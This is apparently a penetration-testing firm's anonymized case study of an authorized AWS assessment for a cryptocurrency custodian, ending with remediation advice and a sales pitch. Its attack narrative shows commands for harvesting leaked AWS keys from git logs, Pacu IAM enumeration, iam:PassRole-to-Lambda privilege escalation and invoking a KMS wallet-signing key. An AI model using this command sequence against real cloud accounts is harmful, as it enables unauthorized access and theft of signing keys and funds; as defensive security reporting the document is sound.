Skip to content
All case studies
Cryptocurrency · 2023Critical · CVSS 9.0Confidential — anonymized

Cold Wallet Escrow Breach

A digital-asset custodian asked us to measure the blast radius of one leaked credential. We started with a read-only key scraped from a public CI log. Three IAM hops later we could invoke the KMS key that signs cold-wallet withdrawals — the cryptographic heart of the whole platform.

Duration
4 Weeks
Team
2 Cloud Security Operators
Scope
Cloud Security Assessment
Methodology
Assumed-Breach Cloud Review / AWS Well-Architected Security Pillar

Attack narrative

Each phase references the MITRE ATT&CK technique used, with captured evidence.

  1. 01

    Initial Access

    T1552 — Unsecured Credentials

    A long-lived, read-only access key had been printed to a publicly cached CI build log. It still worked.

    operator@proteqon: cred-hunt
    # Recovered from a public CI artifact cache
    $ git log -p | grep -iE "AKIA|aws_secret"
    + AWS_ACCESS_KEY_ID=AKIA************REDACTED
    + AWS_SECRET_ACCESS_KEY=************************REDACTED
    $ aws sts get-caller-identity
    "Arn": "arn:aws:iam::4815xxxx:user/ci-readonly"
    [+] Credential is live - read-only foothold established
    $
  2. 02

    Discovery

    T1580 — Cloud Infrastructure Discovery

    Read-only is enough to map the entire IAM graph. We enumerated roles, policies, and trust relationships and let an automated scanner flag escalation paths.

    operator@proteqon: pacu
    $ pacu > run iam__enum_permissions
    [*] Enumerated 71 managed + 14 inline policies
    $ pacu > run iam__privesc_scan
    [!] iam:PassRole + lambda:CreateFunction -> PRIVILEGE ESCALATION
    target role: lambda-admin-exec (AdministratorAccess)
    $
  3. 03

    Privilege Escalation

    T1548 — Abuse Elevation Control Mechanism

    We passed a privileged role to a Lambda we created, then invoked it to run code far beyond our starting permissions.

    operator@proteqon: passrole-privesc
    $ aws lambda create-function --function-name pq_privesc \
    $ --role arn:aws:iam::4815xxxx:role/lambda-admin-exec \
    $ --runtime python3.12 --handler x.handler --zip-file fileb://p.zip
    [+] Function created with AdministratorAccess execution role
    $ aws lambda invoke --function-name pq_privesc out.json
    [+] Now executing as lambda-admin-exec (effectively admin)
    $
  4. 04

    Credential Access & Impact (Simulated)

    T1657 — Financial Theft

    With admin reach we located the customer-managed KMS key designated for cold-wallet signing and proved we could invoke it against a benign canary. No production transaction was signed.

    operator@proteqon: kms-reach
    $ aws kms list-keys --query "Keys[].KeyId" --output text
    $ aws kms describe-key --key-id 7c9e... --query KeyMetadata.Description
    "cold-wallet-signing-key (PRODUCTION)"
    [!] Key policy grants kms:Sign to the assumed role - reachable
    $ aws kms sign --key-id 7c9e... --message fileb://canary.bin \
    $ --signing-algorithm ECDSA_SHA_256
    [+] Signature returned on CANARY payload only - capability proven, no funds moved
    $

Key vulnerabilities

iam:PassRole Privilege Escalation

An overly broad PassRole policy combined with Lambda creation rights allowed escalation from read-only to a privileged execution role.

CriticalCVSS 9.0

Leaked Long-Lived Credentials

A non-rotating IAM access key was exposed in publicly accessible build logs, providing the initial foothold.

HighCVSS 8.6

Permissive KMS Key Policy

The signing key policy granted sign permissions to roles well beyond the signing service itself.

CriticalCVSS 8.9

No MFA / Quorum on Signing Operations

High-value signing required no multi-party approval, letting a single compromised principal act alone.

HighCVSS 7.8

Remediation

  1. 01

    Eliminate broad iam:PassRole grants and enforce least-privilege, condition-scoped policies.

  2. 02

    Replace long-lived keys with short-lived, federated credentials and enable automated leak scanning.

  3. 03

    Restrict KMS key policies to the signing service principal only and isolate keys in a dedicated account.

  4. 04

    Require hardware-backed MFA and multi-party quorum approval for all signing operations.

Outcome

Hardened IAM policies and segregated critical signing infrastructure.

Read-Only
Starting Privilege
Signing Keys
Final Privilege
3
Escalation Hops
Zero
Production Funds Touched

All client identities, infrastructure details, and timelines in this report have been anonymized and adapted to protect confidentiality. Technique identifiers reference the MITRE ATT&CK framework. All offensive actions described were performed within a pre-authorized rules-of-engagement window; no production data was destroyed and no live systems were harmed.

Start an engagement

Want this level of rigor on your systems?

Book a 30-minute scoping call with a senior engineer. You'll leave with a clear recommendation on scope, approach, and timeline.

Book a consultation contact@proteqon.com